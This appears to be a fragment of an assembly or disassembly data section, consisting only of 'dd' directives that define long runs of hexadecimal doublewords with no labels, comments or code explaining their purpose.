		dd 0C49FA3F1h, 0E098C8D3h, 6FE5189Ch, 0F14166F7h, 606D0775h
		dd 0B31DAAF0h, 65C02B23h, 88E1CF1Bh, 8ECE07B6h,	302250EFh
		dd 30164B27h, 0FC68C560h, 7EE534h, 0E4655258h, 7193C3C9h
		dd 0F008EECh, 0DCCFD0F8h, 2CA3FA40h, 38CC2D44h,	83535800h
		dd 138A7FAAh, 8051523Eh, 2621D67Bh, 0AE7476Bh, 58E4B742h
		dd 693400C4h, 0BA3C82DEh, 8B570084h, 1EA0D0EFh,	783B2888h
		dd 0B32E0114h, 1A6095EEh, 784BFC0h, 9010331Dh, 74E490DEh
		dd 17003829h, 0A094ADA6h, 0E63C986Fh, 500AF4C1h, 3BF9085h
		dd 220B6EEh, 691F06DFh
		dd 53C2490Fh, 0A3CF6590h, 98837AF8h, 0FE3A8Ah, 0ACB2E5Dh
		dd 2388534Dh, 0C5584470h, 8F9A0071h, 971F11D8h,	0DA5E00BDh
		dd 6BDE5748h, 17006E27h, 367896FBh, 1E3C54CFh, 0C003282Fh
		dd 32700D93h, 0E7008660h, 0BC7EF96Eh, 51949CACh, 730E49Ah
		dd 15F0A5h, 8EA4CF64h, 529FA79Bh, 0B5C73E0Bh, 0A1C70020h
		dd 38711A0Ah, 7200B362h, 0BC633FD3h, 4E0BE4D1h,	4128096Ch
		dd 28406BB0h, 0B38D14h,	0C6D59D30h, 98C33401h, 0F8EBBD28h
		dd 70937B00h, 0B65E631Ch, 0E02E4A6h, 9F77BE8Ch,	19F638A7h
		dd 11323410h, 0E225B500h, 0B65AD770h, 919701C3h, 0F671D89h
		dd 0ABA440F4h, 0CC01C476h, 2508D40Ah, 0AB703C9Dh, 5F010014h
		dd 0CD8B032Ch, 4500C5D0h, 81A9BBCFh, 246713B4h,	0F00AEDh
		dd 0D64E83A4h, 0B900C6F3h, 0D1AE5E37h, 76B220E1h, 2A2C0086h
		dd 0C781B774h, 3D006C05h, 3FC5FA89h, 976AECh, 6F31AB24h
		dd 30B1D537h, 733B8B00h, 9FD9FF3h, 117B5C72h, 0D127110Eh
		dd 805A3A27h, 73F18F2Eh, 0B200D4E6h, 0C225CFB1h, 1523942h
		dd 55DAC063h, 7F3A81DDh, 22F0C480h, 2EFEA1h, 891ECEFAh
		dd 0D23D5FBFh, 8E59DA31h, 208753B3h, 6F766234h,	0DC9A4220h
		dd 0E4FD894Ah, 0B92C5F6Ah, 0E900D0ABh, 100B12DFh, 80910095h
		dd 6B0D35C9h, 0CA007CDAh, 2AB08905h, 1FAA68A2h,	40E29755h
		dd 69ABDE1h, 86004499h,	0D9BA59D3h, 0E0632F53h,	839F0014h
		dd 54D498EAh, 34008B47h, 94C1CD13h, 6A9EC7h, 63F6BAF7h
		dd 5902DBB8h, 6506C816h, 50D56802h, 0F5AEE0E2h,	918E00F3h
		dd 5916280Bh, 85063E36h, 388AF69Ch, 8FE4D0h, 0C3E1D0ABh
		dd 9D4CA7C0h, 74AE7800h, 6C9416D4h, 0A602002Ch,	358E5329h
		dd 2054DDD1h, 980225F0h, 6B51897Bh, 929BC013h, 8E961D0Fh
		dd 0DFF1C03Ch, 9EBBB70h, 0B2127B00h, 0E3E88A05h, 2CBD00B6h
		dd 2A0A866Ah, 1100CF6Eh, 0F05FF3E1h, 283641h, 49D4F1Ah
		dd 0C2F768D1h, 0E21D431Dh, 0EF8C7FC0h, 30D6AB22h, 6771E65Eh
		dd 0CF004C01h, 2AF4B82Bh, 2EDF6D33h, 0E8A3C74h,	976981AFh
		dd 605B6000h, 5D7BDA6Fh, 0A1041D77h, 65EBB65Ch,	20FBE6C7h
		dd 0BE1B352Ch, 8270026h, 9FC62E68h, 0B891D7CFh,	7D573900h
		dd 12A8200Fh, 0C04EEB0Ah, 81F3B470h, 375E1400h,	0F5FE3458h
		dd 0DFDA2432h, 11BD00ACh, 0CAE75994h, 0A52BB001h, 80F6CDD2h
		dd 1505D023h, 0A32243D9h, 0AF65005Ch, 0DAEFEA87h, 0ED3E00BCh
		dd 0E5CFDE6Dh, 0C3001F6Bh, 0C03DC80Ah, 25B86Fh,	4B0E2C6h
		dd 0B2781457h, 88AA920Bh, 0E9CC51Dh, 403EBEBDh,	0FB11DA1Ah
		dd 0E40A74A2h, 80A76EB7h, 947AFA00h, 0F4313254h, 0B4DD05DEh
		dd 8024E2F7h, 0DA9F8D8Ch, 69D3A900h, 7FE9D980h,	5F4D00D8h
		dd 7BF120EBh, 710048C9h, 6D9EAECDh, 0DE8B3Bh, 8910D611h
		dd 0EB558DA4h, 32CC8C00h, 0E2E9D07Bh, 0E6C000D9h, 0C21CB7E7h
		dd 9407AEB1h, 79ABE48h,	0A116A240h, 9F2D3FA5h, 0D4874300h
		dd 0B455C8E5h, 1300AAEAh, 892BFA95h, 50E9206Dh,	18C0AC98h
		dd 0F8C272B6h, 0F203030Fh, 5AB17F78h, 6284F859h, 45E40336h
		dd 77FCA92Eh, 31D01ACBh, 70004327h, 25625E5h, 124AE42Bh
		dd 0B9742ACh, 275620B8h, 76BF8501h, 0E960EA54h,	0BEEC004Dh
		dd 464CA90Bh, 8B0ED456h, 0C0FD0F14h, 381FF840h,	51AC0EBDh
		dd 2B40195Dh, 7C92913Dh, 9A5A9B1Dh, 40037312h, 0F0C52E63h
		dd 1D33A4E0h, 3D85C0A2h, 0DB64A609h, 665D6400h,	1F48A753h
		dd 4852C0F8h, 3043B0h, 849E618Dh, 0A7744DEDh, 0B4200C00h
		dd 0EA716F9Dh, 248B28Ah, 0E8B087D2h, 5040F5A4h,	0D1005D2Ch
		dd 54539415h, 0B76699h,	0ED4E71BBh, 8E9EB320h, 953B9A00h
		dd 0E97BAB28h, 988F2CACh, 66BC0224h, 9443C49Dh,	7448581h
		dd 3886FBA0h, 4F4C2FE4h, 8A405C2Eh, 34066819h, 593A7300h
		dd 24205D4Dh, 7FD80783h, 0A04BCEE7h, 0B8892FABh, 0BF1F1307h
		dd 47C16966h, 0EC40ADDCh, 1F580A9h, 5B73FC75h, 3C3E56D9h
		dd 14AD0000h, 24161B91h, 2E8B0778h, 0E17EEBAh, 0E27663E0h
		dd 723B4303h, 0D13E806Eh, 16F19749h, 4CC71F0Eh,	2FA0001Bh
		dd 691C5D65h, 76F28E03h, 0A008D3ACh, 23BE2Eh, 820E7795h
		dd 61940767h, 0BD6EEF00h, 0D8453AA2h, 0C4930044h, 4741D6BFh
		dd 6C0FC1C8h, 4094E14Ah, 0E665C28Ch, 25040A08h,	0F012EEh
		dd 2B734041h, 9BF2CBE8h, 0DE142D0Fh, 6A69C648h,	268F0021h
		dd 0E211C454h, 1C00FADDh, 0A904BD13h, 0B14568h,	49030A97h
		dd 5AD0446Eh, 0BF56D41Dh, 6947195Ch, 84108B73h,	0FCFA48A8h
		dd 0C8A93D50h, 36989180h, 0E4707D17h, 0CFBF7A00h, 0EF9D8799h
		dd 12D200F8h, 0F02D594Dh, 2E763D13h, 0E3B67800h, 632B5B08h
		dd 0B5F514D7h, 4F00C3F1h, 0FDCCC66Ah, 9348A0C2h, 40892E5Fh
		dd 0B6ECC100h, 5448666h, 8F75B4F0h, 14DCA682h, 3AC2C22h
		dd 0DA3C0885h, 982D873h, 0D470D7h, 0E5618348h, 981D9539h
		dd 0E2D0401h, 0C3C2D5A5h, 9C63FAF8h, 0C0A300A8h, 84251E3Dh
		dd 0A4DC8A0Eh, 2DC1DDD1h, 0C7FCD490h, 5140D4h, 0E6DA7B82h
		dd 719421Fh, 0C304A501h, 0F66FD327h, 7AD5C424h,	0C50C00DFh
		dd 8DE9EB60h, 720076B4h, 0DD916A1Ch, 25419D70h,	20615A82h
		dd 0CFB2DCDEh, 31D7BF00h, 170F8777h, 8FB03C8h, 0F29B1635h
		dd 807C0AC9h, 3DD55631h, 3378B69h, 3B1CD81Fh, 9398C1FEh
		dd 2E0AB2ACh, 0D89E15D6h, 3076DD00h, 98556FE8h,	0B25F2450h
		dd 2D3D0484h, 0DF098077h, 0D004BAD4h, 37B43B6Ah, 0ADE300EAh
		dd 0F04BA68Dh, 19348300h, 4195E7A9h, 5F6601F7h,	39C2D02Fh
		dd 104420AAh, 8998A309h, 0D28400C6h, 73AC2Ah, 0A06A5472h
		dd 4375B3AEh, 94A6342Ch, 306CEF9Eh, 0F63C1200h,	7407CF1Ah
		dd 5B3E00DFh, 0F0CE549Ah, 9F00F5DEh, 66F16176h,	3C97948h
		dd 260DB972h, 0AEE86C63h, 8600FACDh, 0C7B07793h, 73E429h
		dd 192779B7h, 0EE48CA84h, 217F4C92h, 0A92D4990h, 68648089h
		dd 3F84560h, 10B2F5CFh,	83F8B390h, 25008E7Bh, 0FD07C54h
		dd 3601B9h, 84E71770h, 6A4A5FD5h, 0EB5B0324h, 0A4025824h
		dd 548F39D3h, 0AEB350D0h, 0C00D4B8h, 13DCF6Ah, 7B1F77h
		dd 0ED3C5FADh, 0E8551B31h, 0EC5DB42Ah, 9D30F100h, 3F2B701Eh
		dd 0BA4A0766h, 0EC808BE7h, 0AC00D820h, 3C043ACFh, 12F18EC0h
		dd 0C0D30373h, 0EDAF9D78h, 0DB30B809h, 0D1348011h, 103F38h
		dd 6B787904h, 20F96A68h, 0E11D60B6h, 0EE302B41h, 95C4CFB8h
		dd 0BB031h, 81C2279Eh, 601C164Dh, 0DD56FB02h, 0E03CD72Eh
		dd 0E875C10h, 0FF724793h, 8C6191E0h, 0CE3CE1D3h, 34298977h
		dd 0CC58FCh, 7DB14EB7h,	8D07E9A2h, 0D683F400h, 25E70FFFh
		dd 0C2E60022h, 76F654A9h, 0BB091768h, 0B3D2CBh,	419CCD50h
		dd 4ECA1DE8h, 0DAAAC020h, 0BD8C4908h, 6F266B00h, 0E71CB6EDh
		dd 2BE452h, 1F45541Bh, 0FCCC91AAh, 0AF730100h, 60CD153Ah
		dd 0F9921094h, 342200C4h, 0A446097Bh, 1DB10039h, 2A3CA10Bh
		dd 610E3F5Eh, 0C0655A31h, 0C039D956h, 1BAD0092h, 5417B0C1h
		dd 1A035C8Bh, 79804BCh,	6A1290E3h, 0F2711E1Fh, 9EBD8056h
		dd 0EBF87BACh, 2C1EC3E8h, 0ABC0C120h, 50766B47h, 44870F94h
		dd 9DE04827h, 9218A1B7h, 683448h, 0B845F3A8h, 1380610h
		dd 0BD9A4D3Eh, 0CCB18949h, 0C00D795h, 0FDF194F6h, 5A8BBE77h
		dd 65378199h, 0B3943061h, 0D0A86A00h, 5D4C72B1h, 7E5B00C0h
		dd 2F3DED7Bh, 5800FD7Ch
		dd 601104Dh, 2815404Ah,	59B1A038h, 7A3B80A7h, 0C8741E80h
		dd 8EB7BBA4h, 801FA03Bh, 5955A152h, 0FB9B3Ah, 38CBCCF5h
		dd 0EA97612Bh, 7CA8E80Fh, 0E48BE24Bh, 0BBF44049h, 82409E96h
		dd 0A8F8D5CDh, 0B1166874h, 34A9A0Eh, 78DCAABDh,	7B9E1E6Eh
		dd 59F10099h, 285A8870h, 0B53C4500h, 275F0339h,	489D5C4Dh
		dd 0D32C2905h, 9C8E738h, 0C0F0043Bh, 0F2A77ECh,	0EEE33C97h
		dd 0C3A00332h, 0E6982EA0h, 5B604E7Ah, 5E354650h, 0AB81008Bh
		dd 0C8518F17h, 0FA0056F0h, 9439FFDEh, 1DF14134h, 2430F8C6h
		dd 0B92A0090h, 93DDB6E2h, 0FF008AFEh, 0D1749F6h, 7987F7B3h
		dd 0A1BB0029h, 0E9FA9CCAh, 0F40036C7h, 0B28A016h, 1D47E0D6h
		dd 80DBC235h, 0E581D4F7h, 0D725C17Dh, 0E050E0A2h, 0B7CA3E54h
		dd 4B13E100h, 7CE20640h, 0EA4A870Fh, 0A2F24396h, 0A927E064h
		dd 665101E9h, 68476F70h, 2DA020B1h, 9C907D7Eh, 0AD01AE00h
		dd 26E8BA80h, 0C21E2566h, 0BFB8C20h, 90044F3h, 0B02AB464h
		dd 1E86760Ah, 0C7D2E0DCh, 0B24359h, 3C75A874h, 0C21B4F01h
		dd 0A2E49D9Ah, 0BB3C092Fh, 278E7882h, 47008456h, 9EE68B76h
		dd 7DAB003Ch, 0D7DD38DAh, 1000A784h, 0A425ED86h, 0B82D0Dh
		dd 0DC979C36h, 780432B0h, 22836002h, 60CBBA52h,	1E0A4FDCh
		dd 0C051B446h, 6F93E3A4h, 31CA091h, 0F2C07DC0h,	0D6439EE0h
		dd 29941DC2h, 23003BCDh, 9350A03Eh, 8C0C65CBh, 50B65D61h
		dd 5F730B58h, 0D0897D1Eh, 30078D3h, 2286CC7Eh, 9E4000F3h
		dd 9D781E58h, 0B7015A54h, 8F33D6FCh, 7C2898EDh,	2556D802h
		dd 4460F76Eh, 306CB3Ah,	0C11960A4h, 0FEFA00CEh,	40ED9B7Eh
		dd 7F73E18Eh, 17FF691Fh, 1A487440h, 5B2AEEh, 3D9F92E0h
		dd 8BFDD4ADh, 0A31BD925h, 0D0A7A1FCh, 0BC92E4h,	0ADBBCCDFh
		dd 310D8287h, 723D3338h, 0CA3B9B12h, 0C7D37007h, 985ED10h
		dd 5E342EADh, 0EA8F0140h, 0E930CA3Eh, 6A596093h, 20998E30h
		dd 252ABB63h, 9CE097B3h, 1200DCC8h, 9A5F21E5h, 3409D23h
		dd 95A0C680h, 0F5D0EFA3h, 5A5C5E37h, 30AF0CA4h,	2E5010F4h
		dd 1C2F9C3Ah, 207580C4h, 0A63CC1D9h, 1D10C0Bh, 60E00E4Dh
		dd 33F43128h, 0EC550BC0h, 5D00A53Eh, 9F4A6F46h,	2877FC00h
		dd 0F5FD4460h, 9CE501C1h, 0DA82DBB8h, 5F92D8B4h, 0D0BE6A00h
		dd 2B2F8875h, 0CE9D1DAAh, 3BFCC7D7h, 6033C1D3h,	323DEC2Dh
		dd 9F142900h, 0F3B4F097h, 59AA0088h, 0BD7158EAh, 913FEF19h
		dd 0E3A8807Ah, 247BC085h, 58909516h, 6C092C7Ch,	0C1D00611h
		dd 80FE8280h, 4B2AF2D4h, 1058006Eh, 83C14C77h, 79002829h
		dd 0F7946309h, 0B04B05B1h, 52D800C4h, 0ACB24E2Ch, 3A00980Bh
		dd 0F8662B43h, 43D5E6Eh, 4F6716D2h, 2374B441h, 8C9E0403h
		dd 0EA8A1315h, 0FCF470F0h, 5D170027h, 0A6EEA3Ch, 0E5776AC4h
		dd 351A6912h, 8F643081h, 4A78D760h, 0D948C368h,	6E3285D8h
		dd 194264Dh, 3E50DD82h,	3C747D17h, 0CB9B00DFh, 21042063h
		dd 0D9003BF2h, 5CDDCFBEh, 7CC47h, 0DA2D8935h, 439F011h
		dd 6EB7E609h, 4CD964h, 0A6FD1CFAh, 384A9BF6h, 240394CBh
		dd 0E1747649h, 0C3AFBDA0h, 586FB216h, 3594A0h, 3B9879E3h
		dd 427A3711h, 6F4FA02Ch, 0F0846700h, 305E1573h,	0C3D9D526h
		dd 600195Ah, 541341B5h,	77AE9Bh, 7628FBF3h, 0CFDEB747h
		dd 572E6979h, 43004024h, 32D813F7h, 784800F6h, 0B7EDE93h
		dd 7F006CB3h, 6D8BC9C7h, 6E47DFh, 0A21D13D5h, 90CF04F2h
		dd 0B6996700h, 551FAD72h, 8A0100FDh, 3A4D227Bh,	700C806Eh
		dd 8812283Eh, 3BBE644h,	0A84A322Fh, 8990DCF9h, 5A063F6Ch
		dd 1F5160C5h, 0B7EF0F48h, 18000F30h, 1ADE289Ch,	54444F4h
		dd 0B1020120h, 0BCFDD7B9h, 0DC88801Bh, 0C9446528h, 17990CA2h
		dd 32181898h, 298FF905h, 0ABC08991h, 14E455Ah, 2895C046h
		dd 0CCE0D87Dh, 0A230F9D3h, 6A53F0B2h, 0CE3B1C16h, 8052DDC2h
		dd 3181F7D1h, 8A009D28h, 1F9E6112h, 0EA8D9419h,	632700E3h
		dd 0E45A2DA3h, 3B7E37EAh, 0D568A400h, 0BE32953Dh, 72AD0035h
		dd 22977FD6h, 8AE01E31h, 1DDD5714h, 11190A98h, 0E401C877h
		dd 132F0102h, 0B704D4h,	0C9E125A8h, 7EBFF88Ah, 10999501h
		dd 0F287B83Fh, 0EADFB1D8h, 3CD60073h, 8F5B9280h, 6E074477h
		dd 1B232C96h, 0BFE16600h, 0A73D0EE5h, 0A5E0BE7Ch, 2BF806B1h
		dd 1958D700h, 737F0E38h, 1690001Dh, 8E71E459h, 0B40057FDh
		dd 97DDE103h, 1072DA7h,	0FCA6F1EEh, 700B9A81h, 2100D223h
		dd 99740F10h, 1BF9B2Bh,	7043579Fh, 703681DAh, 1028A0C8h
		dd 3300EC12h, 87376824h, 3B0E6D5Ah, 0DB24BCEBh,	4AEF811Ch
		dd 1816E75h, 41000EF5h,	509074B9h, 0B8ED2715h, 7CE600D4h
		dd 0E269F68h, 57C50049h, 8E4F3452h, 0F700B238h,	3CDAEB1Dh
		dd 75FB2CB0h, 729F059h,	0AF145F45h, 90EED08Ah, 749264AEh
		dd 4D409A00h, 1E85518h,	0ECAF14CEh, 6700D42Bh, 83A862A0h
		dd 9607CEBh, 0D1900C31h, 33480FFCh, 0F6201FA5h,	1028FFD3h
		dd 18B04D30h, 901C7CDDh, 0D9F80CB0h, 0CF19560Dh, 4E8E8103h
		dd 0E084894Fh, 550CE9h,	72A0B743h, 2196F497h, 8D005877h
		dd 741AF1ECh, 48DC0734h, 10494C2h, 8787DD53h, 0E2FF514Ah
		dd 0F242439h, 95E4333Dh, 0C442FEEh, 0F08C6BCDh,	3F1C00D5h
		dd 0AA7977D9h, 0D602F8F6h, 1DAF4665h, 0D2F04844h, 9B8600E2h
		dd 0CA80C01Fh, 0A0901C27h, 0DB590201h, 230E28FEh, 1814470h
		dd 0F48B4069h, 0C4C52676h, 0A100CF7Ch, 0DA9AED80h, 30A5782h
		dd 4F426A3Ch, 0D0FF9133h, 0B4AB81B5h, 5752F400h, 310F609Bh
		dd 0D3140020h, 42BC079Dh, 60B09990h, 74ED9500h,	6B52FEB2h
		dd 6C8F4840h, 3A01097Eh, 8FF5496Ah, 0EF554030h,	0B40BF2h
		dd 8625E5DEh, 0DD201523h, 3C441E1Fh, 1907F507h,	0B939F800h
		dd 0CD52120Fh, 5B300310h, 0C0F42CD3h, 92D8AC18h, 32EA5A00h
		dd 0A5B3FE12h, 5B600004h, 8D6BE5ADh, 0CC032C97h, 4E0315BCh
		dd 0A095D067h, 6C4A00E8h, 14AA5217h, 477071CFh,	843D3F07h
		dd 89559FFFh, 75E2D007h, 6469E8D0h, 0CBA01CC4h,	0DD8C0011h
		dd 7A67BA74h, 0D5890B00h, 0C98F4B1Bh, 0CEBC091Dh, 51805590h
		dd 378D20FFh, 0EE165076h, 8400ACEBh, 0D2F65CF8h, 2A670210h
		dd 0CBA914D9h, 0A6CEFC82h, 51949E0h, 7D79DB75h,	4CD06E00h
		dd 0E6FC22AFh, 50DA768Ch, 0E81DC468h, 3F1E0018h, 82BE9A49h
		dd 0BF025337h, 7E0A33A2h, 0CFE0C332h, 0AB602F70h, 0EC5D06D4h
		dd 40122EB6h, 0F33CA67Eh, 0E01B2855h, 0D8004EF2h, 0CE082265h
		dd 0A488B8h, 0D2DAEF46h, 10685A7h, 9CE8E900h, 7CF5C039h
		dd 0A95C12ECh, 8F120AEFh, 1D5F0098h, 0F39BBD47h, 3E0FE776h
		dd 40094B5Ch, 0EC83CF32h, 0C0F172CDh, 88E9A41Ah, 7107199Ah
		dd 5A3C692Dh, 1C8EDDF0h, 0A3A81649h, 2AB54001h,	1DBAFF08h
		dd 575BC000h, 77424E6Dh, 853000EAh, 546EB0CEh, 9400B42Fh
		dd 1C537D15h, 7D8144A6h, 0F7E8002Dh, 0D236DC95h, 0A31CD18Ch
		dd 59002AF4h, 0AE168EBh, 6FCD06DFh, 10654AF6h, 8052F500h
		dd 0C4810B38h, 0AACC0755h, 81E7143Eh, 0E0A4E2F3h, 2718FAC0h
		dd 0B320960Ch, 8AB618CDh, 59F34074h, 0D1F00700h, 8E87FB4Ah
		dd 0DEFC00F9h, 79558BB8h, 0E30028BDh, 800D22F7h, 1344C088h
		dd 7D47EDh, 0E93AA553h,	28027924h, 64EAAA09h, 47596045h
		dd 0AF8600BCh, 0A3A0F9E0h, 5505D86Bh, 0A70512C1h, 0C836E8C1h
		dd 648AF080h, 3E967D70h
		dd 0C6146C76h, 7E8CDE79h, 0D81DED00h, 7A074CA8h, 4D9938E3h
		dd 7CD62800h, 51DA38E4h, 330E4A00h, 0F036A49Fh,	43EE0995h
		dd 27874DFCh, 480290B9h, 0BC07152Dh, 8E2521ABh,	4FF56DE0h
		dd 0C73E029Fh, 0F99278A5h, 0C0135860h, 0E87AE400h, 0C109B0DDh
		dd 1A1759Fh, 0EB8D7552h, 0C073A3D5h, 1010B88h, 0C502AF47h
		dd 0E7C8FE3Dh, 9C5C136Eh, 0CAE0012h, 4C390F28h,	80AE8839h
		dd 358BD7B7h, 57BE77h, 4EF9812Dh, 5067F478h, 0C754CB1Fh
		dd 0A8DB80FEh, 293B814h, 655F0EDDh, 278055FDh, 0E9EE1103h
		dd 5360F400h, 0AE4561F6h, 0A33600ACh, 7DD5220Fh, 0F900B777h
		dd 0D0C8CF44h, 2B3DBCh,	5DB8057h, 5B73ED39h, 89B0C300h
		dd 92E712E0h, 0DCA70414h, 911023F6h, 0EFB1AF40h, 0AEF090FFh
		dd 0F277FA9Eh, 86F9AA00h, 88760D77h, 0FFBC0016h, 89BD14BEh
		dd 98006F83h, 25203362h, 1670601Dh, 6E96E4Fh, 0E4B3D0F9h
		dd 3E55F600h, 98B57138h, 206D00FCh, 347DBC52h, 51002B90h
		dd 584D3EF9h, 3E6063Ah,	0DE750DA5h, 0BFA88BC3h,	3350A389h
		dd 0CD05229Ch, 9F09C87Bh, 0EC8B9840h, 5FD83Fh, 4032FB77h
		dd 8A4B4C29h, 66FAEB02h, 0C058CC4Dh, 3355346h, 0AAB31A7Ah
		dd 24909847h, 43F1D4B4h, 6491AB9Ch, 0CDD42480h,	61B70F00h
		dd 1A093DF5h, 6AB90003h, 4F6387BFh, 0A203F851h,	0E3F90AF4h
		dd 6D80888Fh, 0E1753C16h, 0CF8EBF00h, 0FE872B18h, 101F3B07h
		dd 4DD7C20Bh, 0E8261230h, 35EE475h, 2365F399h, 6090DE37h
		dd 110797C6h, 38E32962h, 0F75F4920h, 38827978h,	45836358h
		dd 0CA26C189h, 14B92DC0h, 0F300DF79h, 0CD7BA36Dh, 0F3D8DA5h
		dd 7AACD602h, 0D75A90A0h, 471D5F9Fh, 510079C0h,	40B7B2E2h
		dd 0D640292h, 0FC01E498h, 5719B080h, 801F0ACh, 0B63FBB1Eh
		dd 77D017D7h, 2ACC0F43h, 74608D12h, 231BA7FFh, 8527B03h
		dd 0DFB22ED3h, 64A0DE00h, 128A0233h, 8537FCD7h,	2D3F9E40h
		dd 6C14E57Eh, 7EE42FB9h, 0F5B8AE03h, 0F8FDFF69h, 19FA4796h
		dd 20D39A21h, 0C210A693h, 0AF0E5907h, 7B0021E9h, 40BC9A51h
		dd 58C51C01h, 0D0F51FF4h, 80E9B2ADh, 0C2374C9h,	1D886244h
		dd 0C0B9277Ch, 7EA2EC2Fh, 2E001352h, 9A07CB0Bh,	70BD98h
		dd 24A09665h, 0FD2F9022h, 2900764Bh, 0C90F4B79h, 1CFF011Fh
		dd 0BF133674h, 0EC9848A9h, 50ACBD2Fh, 17911F88h, 0FA5F002Bh
		dd 9A6F7831h, 0F4A8A06h, 50730Ah, 422194BEh, 43567684h
		dd 3E2D1BE4h, 7A35627h,	0D0785CC3h, 29F4C23Bh, 85E20838h
		dd 48857324h, 0CEF8ED84h, 0C4E9B800h, 0A9843627h, 1B7B9003h
		dd 6314A78h, 9D082C38h,	8403A0ECh, 0FFB8A9A6h, 303000F1h
		dd 9C5BB11Eh, 0E818FC76h, 1A18F403h, 14E03078h,	1F43F140h
		dd 183CC6F0h, 907D3ED8h, 811FF2F3h, 416656FAh, 494BE614h
		dd 949CD812h, 0A5D0EA54h, 0CFC09CBh, 301A894Bh,	9A51D148h
		dd 681885BFh, 9F70193Ah, 0D54B00E8h, 89803655h,	41C32D35h
		dd 0D0C70EF1h, 0A8F41D33h, 773D79B8h, 2780113h,	0D48A84A3h
		dd 6A80F039h, 3E1AE3E4h, 60C3E9h, 0A1A38460h, 873303D2h
		dd 0D32F0342h, 0B750F3E0h, 71EDC000h, 4127EEE4h, 5CFD01C8h
		dd 773A78B8h, 3BE0E2F8h, 2C008058h, 100E9FE1h, 0DCF92Fh
		dd 79EB4CDEh, 4D53C8F5h, 0C7ED2600h, 1F69FB06h,	0FCC300C1h
		dd 20FA3509h, 0F60F61A2h, 4321252Bh, 0F03C7FE0h, 0E8DF2h
		dd 781ECF0Fh, 9C93B4F3h, 140C18C3h, 5225F898h, 59AF8F1h
		dd 179E1E7Bh, 278C0030h, 4C749691h, 37BACE00h, 99B6AD89h
		dd 0AFC23F7Dh, 20E70301h, 0C423D479h, 5B0AFCF6h, 0A0430D39h
		dd 40FE4703h, 5485F85Ah, 7CE20118h, 0B9794C4Fh,	0FF1AD535h
		dd 8BB30EE0h, 388C4B00h, 4AF4559Bh, 0CD7206h, 0EB986783h
		dd 306E95FFh, 537B1401h, 3A6B4864h, 32CD41C2h, 0D8419F44h
		dd 35F2BE7Eh, 129CF170h, 40FE9E0Eh, 0A2B8E110h,	0A6E6FB8Ah
		dd 3E311C67h, 88897DB3h, 3D5630C8h, 5E00E9C4h, 15451B46h
		dd 8500196Eh, 3BE5A5A8h, 0EE20F6h, 0A3786116h, 0EB288EB9h
		dd 22557700h, 43355AFBh, 0B6943AFDh, 7EF89D38h,	0BC7A0028h
		dd 62CE1E3Ah, 0F001B60h, 9D9E996Dh, 157997h, 8BB087B8h
		dd 6808DA6Bh, 0A78A0200h, 7DBDEAACh, 0B1C20088h, 7C2B52B3h
		dd 1533804Eh, 0FACA6136h, 0F84B60D6h, 5C96E2B5h, 710046C3h
		dd 7706FF44h, 0A800D990h, 9789FDA7h, 1C104Eh, 0B635312Ah
		dd 45BDC6DAh, 0CF33B4B8h, 0E743B09Ah, 9C129BE0h, 26DA5C1Ch
		dd 7DDBFA03h, 7900CA0Ah, 661E0373h, 0C040D2F5h,	0DD63A088h
		dd 0B03F235Bh, 8B9B28FEh, 7D94491Eh, 0AB912443h, 0AD48001Fh
		dd 36389902h, 693EE726h, 5EEA80BFh, 9279B81Eh, 426301DEh
		dd 6A90A4Ah, 0E1E7E01Bh, 0C687E400h, 45CB9D51h,	2B800FCh
		dd 0EF37D3EDh, 270011E3h, 9D42670Fh, 0A01CB9h, 9863D77Dh
		dd 6D8C9F32h, 4210B260h, 54AA78h, 17AED926h, 0DF90695Ah
		dd 4787E500h, 56D0F551h, 24F038h, 59C5A84Dh, 0AB04E44Fh
		dd 40203607h, 54B089C9h, 0E97E7Ah, 15F0D36Ch, 384D2C71h
		dd 0FD008FFAh, 0B703BA13h, 0C04A4381h, 4B2B5978h, 110014B6h
		dd 8591A133h, 396A2269h, 0CEB101B7h, 0E4274229h, 9A0089E1h
		dd 1019E3E5h, 73588CCAh, 11E91837h, 0D972112Ch,	4706E072h
		dd 0B66D9929h, 46610041h, 0BA0E578Dh, 0DB1C91D0h, 608933BBh
		dd 0B8768045h, 16174C76h, 8E093Ah, 239C5855h, 0C900B19Fh
		dd 34AA15F5h, 1CE2112Eh, 0C6A346F2h, 9FC236Fh, 31212F63h
		dd 8FF9E8E1h, 0C45900CAh, 89085F33h, 81004650h,	2D3B7E23h
		dd 71B8F0DCh, 0AA741E41h, 0F0566FAEh, 712E0Fh, 96794494h
		dd 71D8EE8Eh, 34613AB6h, 202D8A18h, 79001072h, 0D43D0D9Fh
		dd 0BE75A7h, 4D409E6Ch,	0A2F161A1h, 82B9E806h, 0C8997123h
		dd 28C0C3C8h, 46A350F2h, 0A32022E2h, 859FC820h,	6E5003Ch
		dd 0A441ED35h, 6F014DA0h, 0FFB33A6Eh, 1887DC12h, 0B8A1ABD8h
		dd 1C399801h, 7D3AD18h,	0EECA4AD0h, 1A0B0D5h, 703A3115h
		dd 68A2300Eh, 0FD1FC71h, 0CEC850EEh, 3987C940h,	5101ABDBh
		dd 273A6160h, 0E7C0C7F3h, 389700CBh, 0BA226F02h, 3200F1FDh
		dd 6C90BF09h, 7E961A31h, 0BD770033h, 10B94608h,	0AA0E9329h
		dd 0C0869E6Bh, 0D6C9FD65h, 0CFF90059h, 24389270h, 0C300F10Fh
		dd 0EAAB45Dh, 0E092B36h, 4BE077CAh, 493D0243h, 0A1160918h
		dd 0B26811h, 30CA3305h,	29EDB3C2h, 0AD29700h, 0AC16095Bh
		dd 0FC030A52h, 10143235h, 0DE3884D6h, 0BF41A848h, 5A0132F0h
		dd 89111A9h, 514411h, 0F09B0D4Ah, 0BB3700C3h, 0C2482CF6h
		dd 7C00BFD2h, 0F4188DF5h, 0EA85CBh, 94B359ECh, 4391FF80h
		dd 0F21F6E07h, 46B7CAD3h, 41B5A9F0h, 756D0023h,	4F88F84Eh
		dd 980E30B2h, 0A8C671h,	5121374Ch, 0E3C53042h, 15A04EF8h
		dd 54000090h, 557A8A65h, 253B77h, 7C693490h, 5747E11Fh
		dd 0BB00FB79h, 4A60D62h, 0E293E220h, 0AC815011h, 19060A1Dh
		dd 34C5C0h, 89739832h, 0B303D81Ah, 0A5AD92FBh, 8301D92Dh
		dd 0F33C6D8h, 0C41BAC9Dh, 0F8A4D2C0h, 0FA00E25Fh, 9E9A252Dh
		dd 79D79346h, 18516073h, 0B30ACC76h, 39AF8200h,	0FBACAACh
		dd 33C8C796h, 101EC76Eh, 4E457A03h, 0B0171A1Fh,	0E21BF140h
		dd 17C61091h, 7B8CFCh, 50B10EC7h, 0D23C05EBh, 3D768035h
